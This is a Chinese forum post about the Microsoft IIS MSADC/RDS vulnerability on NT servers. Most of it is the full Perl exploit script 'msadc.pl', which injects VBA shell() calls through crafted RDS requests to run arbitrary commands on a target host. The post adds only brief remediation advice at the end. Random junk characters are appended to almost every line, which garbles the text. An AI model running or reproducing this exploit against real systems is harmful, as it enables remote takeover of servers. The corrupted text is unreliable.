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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !)$Zp\Sg  
y();tsW qc  
涉及程序: rm_Nn8p,  
Microsoft NT server @4#vm@Yf_  
wd6owr  
描述: &^nGtW%a 9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 vDvFL<`vmD  
nk:)j:fr  
详细: hbn([+xY  
如果你没有时间读详细内容的话,就删除: \M-OC5fQv  
c:\Program Files\Common Files\System\Msadc\msadcs.dll O/LXdz0B  
有关的安全问题就没有了。 2an f$^[  
!r-F>!~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Q2> gU#  
: Dp0?&_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 *zLMpL_  
关于利用ODBC远程漏洞的描述,请参看: AQ Ojit6p  
AXB7oV,xt  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ys7]B9/1O  
'GScszz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 q(w(Sd)#L  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp v[<T]1=LRC  
O.M 1@w]  
这里不再论述。 6u%&<")4HP  
4M T 7`sr  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: |j|rS5  
Gw` L"  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset VEH>]-0K  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! gG uO  
05R@7[GWq  
 !@sUj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2<6UwF  
p7 ~!z.)o  
#!perl !x)R=Z/C  
# k7^5Bp8=  
# MSADC/RDS 'usage' (aka exploit) script (k P9hcV  
# xD7]C|8o  
# by rain.forest.puppy +`15le`R  
# *WZA9G#V5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4ppz,L,4  
# beta test and find errors! JGZBL{8  
I=#$8l.*  
use Socket; use Getopt::Std; I+(nu47ZT  
getopts("e:vd:h:XR", \%args); qgB_=Q#E  
@F>D+=hS  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $VR{q6[0S?  
i~72bMwsA  
if (!defined $args{h} && !defined $args{R}) { <ZW-QN4  
print qq~ XP}<N&j  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~M$Wd2Th  
-h <host> = host you want to scan (ip or domain) kGJC\{N5N  
-d <seconds> = delay between calls, default 1 second }B^tL$k  
-X = dump Index Server path table, if available >Gu M]qn  
-v = verbose E`J@h l$N  
-e = external dictionary file for step 5 QWU-m{@~&  
X-/]IH DN  
Or a -R will resume a command session 3U}%2ARo_  
;@J}}h'y  
~; exit;} (At$3b6  
@+DX.9  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; DfB7*+x{  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}  5twhm  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F[MFx^sT{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); MfkZ  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} T>>c2$ x  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } u:b=\T L  
Xc.`-J~Il  
if (!defined $args{R}){ $ret = &has_msadc; #z42C?V  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} afk>+4q  
4!$"ayGv;D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" zeRyL3fnmb  
. "cmd /c "; m+9#5a-  
$in=<STDIN>; chomp $in; ;a3}~s  
$command="cmd /c " . $in ; (% 9$!v{3  
0{mex4  
if (defined $args{R}) {&load; exit;} k=^xVQuI  
?cZlN !  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [Qr"cR^  
&try_btcustmr; !m$jk2<  
,,TnIouy  
print "\nStep 2: Trying to make our own DSN..."; qP;OaM CX  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 4K74=r),i  
fy$1YI>!Q  
print "\nStep 3: Trying known DSNs..."; 6B-16  
&known_dsn; AwN!;t_0+N  
[-&Zl(9&  
print "\nStep 4: Trying known .mdbs..."; ]^]wP]R_  
&known_mdb; kVL.PY\K  
u:EiwRW  
if (defined $args{e}){ `X8F`5&U\f  
print "\nStep 5: Trying dictionary of DSN names..."; V.Mry`9-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T C"<g  
$xQL]FmS  
print "Sorry Charley...maybe next time?\n"; adw2x pj  
exit; .(vwIb8\_  
%)wjR/o  
############################################################################## EK'!}OGCG  
2pAW9R#UV-  
sub sendraw { # ripped and modded from whisker v0y(58Rz.  
sleep($delay); # it's a DoS on the server! At least on mine... 0IpmRH/  
my ($pstr)=@_; /tLVX} &  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0$njMnB2l  
die("Socket problems\n"); #;<Y[hR{P  
if(connect(S,pack "SnA4x8",2,80,$target)){ Js;h%  
select(S); $|=1; F}zDfY\-  
print $pstr; my @in=<S>; I_BJH'!t  
select(STDOUT); close(S); ~s{$WL&  
return @in; svSVG:48  
} else { die("Can't connect...\n"); }} E'8;10s  
/O9EQPm(  
############################################################################## KmF]\:sMD  
> P)w?:k  
sub make_header { # make the HTTP request r=4eP(w=  
my $msadc=<<EOT Wjc'*QCPl  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 nP$9CA  
User-Agent: ACTIVEDATA g=rbPbu  
Host: $ip c`W,~[Q<O+  
Content-Length: $clen y)*RV;^  
Connection: Keep-Alive H>C=zo,oiC  
Cyp'?N  
ADCClientVersion:01.06 x"~JR\yzKJ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 wS*E(IAl  
Y ay?=Y{  
--!ADM!ROX!YOUR!WORLD! Mfs?x a  
Content-Type: application/x-varg A=4OWV?  
Content-Length: $reqlen j39wA~ K  
0`hdMLONR  
EOT 9VT;ep  
; $msadc=~s/\n/\r\n/g; Je{ykL?N  
return $msadc;} v2?ZQeHr_(  
5)E @F9N  
############################################################################## ry!!9Z>9n  
W4N{S.#!  
sub make_req { # make the RDS request F5Va+z,jg  
my ($switch, $p1, $p2)=@_; j@9T.P1  
my $req=""; my $t1, $t2, $query, $dsn; Q20 %"&Xp]  
he4(hX^  
if ($switch==1){ # this is the btcustmr.mdb query  )*[3Vq  
$query="Select * from Customers where City=" . make_shell(); BzzTGWq\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1"g<0 W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} g5yJfRLxp  
Lv%x81]K  
elsif ($switch==2){ # this is general make table query 26nx`w?j(  
$query="create table AZZ (B int, C varchar(10))"; $C\BcKlmv  
$dsn="$p1";} :%.D78&  
?8$Q-1=  
elsif ($switch==3){ # this is general exploit table query MJvp6n  
$query="select * from AZZ where C=" . make_shell(); Vc2`b3"Br  
$dsn="$p1";} m2o0y++TjW  
nwWJ7M,A  
elsif ($switch==4){ # attempt to hork file info from index server 3u;oQ5<(v  
$query="select path from scope()"; =}*0-\QG  
$dsn="Provider=MSIDXS;";} <q SC#[xu  
Dj+f]~  
elsif ($switch==5){ # bad query ]oxZ77ciL  
$query="select"; "fI6Cpc  
$dsn="$p1";} '%D7C=;^  
c:0L+OF}xY  
$t1= make_unicode($query); _L PHPj^Pg  
$t2= make_unicode($dsn); w@b)g  
$req = "\x02\x00\x03\x00"; "8RSvT<W^5  
$req.= "\x08\x00" . pack ("S1", length($t1)); ! z**y}<T  
$req.= "\x00\x00" . $t1 ; P'2Qen*  
$req.= "\x08\x00" . pack ("S1", length($t2)); E3i4=!Y  
$req.= "\x00\x00" . $t2 ; 6-I'>\U~  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !?XC1xe~R  
return $req;} +H.`MZ=  
FtZ?C@1/  
############################################################################## ;]iRk  
-%~4W?  
sub make_shell { # this makes the shell() statement liZxBs :%i  
return "'|shell(\"$command\")|'";} q@&6#B  
J1vR5wbu  
############################################################################## 9F vFhY  
g*Phv|kI  
sub make_unicode { # quick little function to convert to unicode y^k$Us  
my ($in)=@_; my $out; ~BF&rx5Q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +%&yJ4-  
return $out;} \8 ":]EU  
>V937  
############################################################################## yuVs YV@"  
GmG 5[?)  
sub rdo_success { # checks for RDO return success (this is kludge) U(Zq= M  
my (@in) = @_; my $base=content_start(@in); :+Z%; Dc  
if($in[$base]=~/multipart\/mixed/){ =I4lL]>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} >Q/Dk7#  
return 0;} VQs5"K"  
[e q&C_|D  
############################################################################## GeqPRah  
:Al!1BJQ  
sub make_dsn { # this makes a DSN for us ;j7#7MN2_E  
my @drives=("c","d","e","f"); dI2 V>vk  
print "\nMaking DSN: "; (mOtU8e  
foreach $drive (@drives) { =vPj%oLp'a  
print "$drive: "; lk!@?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . CAe!7HiR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;`Z{7'^U  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); GVz6-T~\>  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Zc yc*{DS  
return 0 if $2 eq "404"; # not found/doesn't exist ?5p>BER?  
if($2 eq "200") { N;R^h? '  
foreach $line (@results) { q| 7(  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ==B6qX8T  
} return 0;} lMt=|66  
O2+6st  
############################################################################## edD)TpmE,  
(BM47 D=v  
sub verify_exists { .d*8C,  
my ($page)=@_; jylD6IT  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ye97!nIg@  
return $results[0];} B:<VA=  
5^cCY'I  
############################################################################## 5xBbrU;  
=%7-ZH9  
sub try_btcustmr { _M1%Z~  
my @drives=("c","d","e","f"); /xQTxh1;K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); NRuNKl.v  
Fu~j8K  
foreach $dir (@dirs) { o4;(Zi#Z  
print "$dir -> "; # fun status so you can see progress gr{ DWCK  
foreach $drive (@drives) { z{543~Og59  
print "$drive: "; # ditto ni<(K 0~  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {vj)76%y  
$reqlenlen=length( "$reqlen" ); "~nZ G iK  
$clen= 206 + $reqlenlen + $reqlen; Zfw,7am/  
*Ly6`HZ9  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5(2;|I,T  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} F{wzB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} y} '@R$  
l}h!B_P'  
############################################################################## DDZ@$L!  
eE Kf|I  
sub odbc_error { K:M8h{Ua  
my (@in)=@_; my $base; =D(j)<9$A  
my $base = content_start(@in); m~|40)   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this pYg/Zm Jd  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h1RSVp+?n  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "4Nt\WQ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +_!QSU,@  
return $in[$base+4].$in[$base+5].$in[$base+6];} \wZe] G%S  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; jdN` mosJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . YUb_y^B^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T|$H#n}  
*a)n62  
############################################################################## ,6/V" kqIP  
TC('H[ ]  
sub verbose { ZcsZ$qt^  
my ($in)=@_; y5r4&~04  
return if !$verbose; R_KH"`q  
print STDOUT "\n$in\n";} $qiya[&G4  
im8CmQ  
############################################################################## B~mj 8l4  
:s,Z<^5a)g  
sub save { n<,BmVQ  
my ($p1, $p2, $p3, $p4)=@_; ,uvRi)O>a  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (:_$5&i7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; kM 6 Qp  
close OUT;} 965 jtn  
VVZ'i.*_3?  
############################################################################## b>|6t~}M  
W^Yxny  
sub load { l} /F*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; hxx.9x>ow  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); K9[UB  
@p=<IN>; close(IN); "Q0@/bYq  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); EnR}IY&sI  
$target= inet_aton($ip) || die("inet_aton problems"); PCvWS.{  
print "Resuming to $ip ..."; #spCtZE  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; oDR%\VY6T  
if($p[1]==1) { ]d]]'Hk  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; dM5-;  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,}PgOJZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); a#4?cEy  
if (rdo_success(@results)){print "Success!\n";} bOB \--:]  
else { print "failed\n"; verbose(odbc_error(@results));}} }EPY^VIw  
elsif ($p[1]==3){ uH]OEz\H'  
if(run_query("$p[3]")){ _w{Qtj~s|  
print "Success!\n";} else { print "failed\n"; }} KXy6Eno  
elsif ($p[1]==4){ Wzh`or  
if(run_query($drvst . "$p[3]")){ 1x)J[fyId  
print "Success!\n"; } else { print "failed\n"; }} sx%[=g+<2(  
exit;} D- c4EV  
PsYpxNr  
############################################################################## AdEMa}u 6  
2iOV/=+  
sub create_table { Z r8*et  
my ($in)=@_; \G[$:nS  
$reqlen=length( make_req(2,$in,"") ) - 28; -@s#uA h  
$reqlenlen=length( "$reqlen" ); 3<!7>]A  
$clen= 206 + $reqlenlen + $reqlen; M7T5 ~/4  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ey2^?  
return 1 if rdo_success(@results); 'V{W-W<  
my $temp= odbc_error(@results); verbose($temp); QY/w  
return 1 if $temp=~/Table 'AZZ' already exists/; zdYjF|  
return 0;} r" y.KD^  
 &HW9Jn  
############################################################################## tc! #wd+u  
uYN`:b8  
sub known_dsn { WLT"ji0w2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *VcJ= b 2Y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *p U x8yB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", | (93gJ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); vQCy\Gi   
}j%5t ~Qa  
foreach $dSn (@dsns) { &pRREu:[4L  
print "."; %Zi} MPx  
next if (!is_access("DSN=$dSn")); $I=~S[p  
if(create_table("DSN=$dSn")){ nKY6[|!#  
print "$dSn successful\n"; ]/Pn EU[  
if(run_query("DSN=$dSn")){ fex@,I&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f8~_E  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Tbq;h ?D  
3u=g6W2 F  
############################################################################## >Ry01G]_/h  
*pq\MiD/  
sub is_access { !a`&O-ye  
my ($in)=@_; a9gLg &  
$reqlen=length( make_req(5,$in,"") ) - 28; CrLrw T  
$reqlenlen=length( "$reqlen" ); 3S{ />1Y  
$clen= 206 + $reqlenlen + $reqlen; ";F'~}bDA  
my @results=sendraw(make_header() . make_req(5,$in,"")); C_Dn{  
my $temp= odbc_error(@results); ;+%rw2Z,B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); r&CiSMS*  
return 0;} t0S 1QC+  
Cy e.gsCT  
############################################################################## z_HdISy0  
3w=J'(RU  
sub run_query { w{KavU5W  
my ($in)=@_; Hka2  
$reqlen=length( make_req(3,$in,"") ) - 28; L,\Iasv  
$reqlenlen=length( "$reqlen" ); \hXDO_U  
$clen= 206 + $reqlenlen + $reqlen; KoT\pY^7\  
my @results=sendraw(make_header() . make_req(3,$in,"")); { FkF  
return 1 if rdo_success(@results); ^W ^OfY  
my $temp= odbc_error(@results); verbose($temp); /wp6KXm  
return 0;} `3pW]&  
'DR!9De  
############################################################################## eFgA 8kY)  
c)J%`i$  
sub known_mdb { ;u JMG  
my @drives=("c","d","e","f","g"); 7! Nsm  
my @dirs=("winnt","winnt35","winnt351","win","windows"); It(_v  
my $dir, $drive, $mdb; &yg|t5o  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V!Uc(  
TOt dUO  
# this is sparse, because I don't know of many K1KreYlF  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]kSGR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", L0,'mS  
"\\system32\\certmdb.mdb", 2G7Wi!J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &d!GImcxQ  
b}`T Ln  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", [JiH\+XLPs  
"\\cfusion\\cfapps\\forums\\forums_.mdb", f|5co>Hk  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 7.Op<  
"\\cfusion\\cfapps\\security\\realm_.mdb", <E~'.p,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sRs>"zAg  
"\\cfusion\\database\\cfexamples.mdb", dV_G1'  
"\\cfusion\\database\\cfsnippets.mdb", i5Ggf"![  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 23PGq%R  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 79gT+~z   
"\\cfusion\\brighttiger\\database\\cleam.mdb", !L(^(;$Kgr  
"\\cfusion\\database\\smpolicy.mdb", C dn J&N{  
"\\cfusion\\database\cypress.mdb", u 9e@a9c  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", K+eM   
"\\website\\cgi-win\\dbsample.mdb", js(pC@<q5  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 01]f2.5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d{?LD?,)  
); #these are just D*jM1w_`  
foreach $drive (@drives) { pi(m7Ci"  
foreach $dir (@dirs){ S jqpec8  
foreach $mdb (@sysmdbs) { .v K-LHs  
print "."; pK*TE5]  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1EK *g;H  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; dO'(2J8  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ {: /}NpA$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Txu/{ M,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6K^#?Bn;  
Dt@SqX:~Ee  
foreach $drive (@drives) { Nn6%9PX_)  
foreach $mdb (@mdbs) { kiEa<-]  
print "."; {7[Ox<Ho  
if(create_table($drv . $drive . $dir . $mdb)){ N2G{<>=  
print "\n" . $drive . $dir . $mdb . " successful\n"; $'vU2L  
if(run_query($drv . $drive . $dir . $mdb)){ 5pX6t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6nn *]|7  
} else { print "Something's borked. Use verbose next time\n"; }}}} /~1+i'7V.,  
} ("KF'fp&M2  
|!ELV 7?(  
############################################################################## "oyo#-5z  
&ZO0r ^  
sub hork_idx { Wtnfa{gP%  
print "\nAttempting to dump Index Server tables...\n"; F?0Ykjh3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; OUnA;_  
$reqlen=length( make_req(4,"","") ) - 28; pa+hL,w{6  
$reqlenlen=length( "$reqlen" ); #!=tDc &  
$clen= 206 + $reqlenlen + $reqlen; VbYdZCC  
my @results=sendraw2(make_header() . make_req(4,"","")); ZJoM?g~WFI  
if (rdo_success(@results)){ c<~H(k'+c  
my $max=@results; my $c; my %d; 6tZI["\   
for($c=19; $c<$max; $c++){ zLQx%Yg!  
$results[$c]=~s/\x00//g; }MySaL>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >*bvw~y,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ".%k6W<n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; g)-te+?6  
$d{"$1$2"}="";} 5P bW[  
foreach $c (keys %d){ print "$c\n"; } PCA4k.,T  
} else {print "Index server doesn't seem to be installed.\n"; }} mFeP9MfJ  
I%):1\)  
############################################################################## '/p4O2b,  
?6!LL5a.  
sub dsn_dict { P}iE+Z 3  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8ag!K*\ V<  
while(<IN>){ [E_9V%^  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; lE;!TQj:X  
next if (!is_access("DSN=$dSn")); bA 2pbjg=  
if(create_table("DSN=$dSn")){ @Qe0! (_=  
print "$dSn successful\n"; btB%[]  
if(run_query("DSN=$dSn")){ 9c],<;{'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 637: oT_`O  
print "Something's borked. Use verbose next time\n";}}} ceA9) {  
print "\n"; close(IN);} }V>T M{  
U$g?!Yl0  
############################################################################## f);FoVa6  
MV"=19]  
sub sendraw2 { # ripped and modded from whisker #yen8SskB  
sleep($delay); # it's a DoS on the server! At least on mine... 4-w{BZuS  
my ($pstr)=@_; ZCw]m#lS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e20-h3h+  
die("Socket problems\n"); $G>.\t  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]:;&1h3'7  
print "Connected. Getting data"; }H4RR}g  
open(OUT,">raw.out"); my @in; %O<BfIZ  
select(S); $|=1; print $pstr; Cx"sw }  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xno\s.H%]  
close(OUT); select(STDOUT); close(S); return @in; d9ihhqq3}  
} else { die("Can't connect...\n"); }} Bvj0^fSm  
2%1hdA<  
############################################################################## rqq1TRg  
:k"]5>(^  
sub content_start { # this will take in the server headers *hrd5na  
my (@in)=@_; my $c; +\'t E~V  
for ($c=1;$c<500;$c++) { L];b< *d  
if($in[$c] =~/^\x0d\x0a/){ X&zis1A<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } iLT}oKF2N;  
else { return $c+1; }}} ^Cmyx3O^  
return -1;} # it should never get here actually 9Flb|G%  
H]s.=.Ki  
############################################################################## 6@o*xK7L  
POW>~Tof1  
sub funky { QJNFA}*>  
my (@in)=@_; my $error=odbc_error(@in); }G=M2V<L  
if($error=~/ADO could not find the specified provider/){ X]=t>   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $e\M_hp*J  
exit;} `/g UV  
if($error=~/A Handler is required/){ )"LJ hLg  
print "\nServer has custom handler filters (they most likely are patched)\n"; m|# y >4  
exit;} NI5``BwpO  
if($error=~/specified Handler has denied Access/){ n%-0V>  
print "\nServer has custom handler filters (they most likely are patched)\n"; E]6 6]+;0_  
exit;}} Bx!-"e  
_@g;8CA  
############################################################################## tkhCw/  
!wNO8;(  
sub has_msadc { l2d{ 73h  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ToQ"Iy?  
my $base=content_start(@results); Ymgw-NJ;(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); iE{&*.q_}>  
return 0;} ,Q,^3*HX9}  
Q?T]MUY(L  
######################## VpUAeWb  
&zhAh1m  
8fb'yjIC  
解决方案: >7r!~+B"9'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,[Fb[#Qqb  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 BHw, 4#F1;  
*H122njH+T  
拿出来充数 哈哈
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